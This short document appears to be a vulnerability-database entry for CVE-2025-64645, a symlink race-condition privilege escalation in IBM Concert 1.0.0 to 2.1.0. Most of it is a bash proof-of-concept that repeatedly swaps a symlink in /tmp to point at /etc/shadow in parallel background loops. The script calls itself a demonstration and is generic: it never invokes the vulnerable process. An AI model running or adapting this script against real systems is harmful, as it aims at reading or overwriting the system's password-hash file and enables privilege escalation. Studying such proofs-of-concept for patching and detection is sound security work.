CVE-2025-64645 IBM Concert符号链接竞态条件权限提升漏洞

#!/bin/bash # CVE-2025-64645 PoC - Symbolic Link Race Condition Privilege Escalation # Target: IBM Concert 1.0.0 - 2.1.0 # This PoC demonstrates the race condition vulnerability TARGET_DIR="/opt/ibm/concert" EXPLOIT_DIR="/tmp/exploit_$$_$(date +%s)" MALICIOUS_TARGET="/etc/shadow" mkdir -p "$EXPLOIT_DIR" cd "$EXPLOIT_DIR" # Create a malicious symlink that will be swapped ln -s /tmp/dummy temp_link echo "[*] Starting race condition exploit for CVE-2025-64645" echo "[*] Target: IBM Concert" echo "[*] Exploit directory: $EXPLOIT_DIR" # Function to swap symlink target swap_symlink() { rm -f temp_link ln -s "$MALICIOUS_TARGET" temp_link sleep 0.001 rm -f temp_link ln -s /tmp/dummy temp_link } # Attempt to win the race condition # Note: Actual exploitation requires precise timing and target-specific knowledge for i in $(seq 1 100); do swap_symlink & sleep 0.0001 done wait echo "[*] Race condition attempts completed" echo "[!] This is a demonstration script only" echo "[!] Actual exploitation requires detailed analysis of target binary"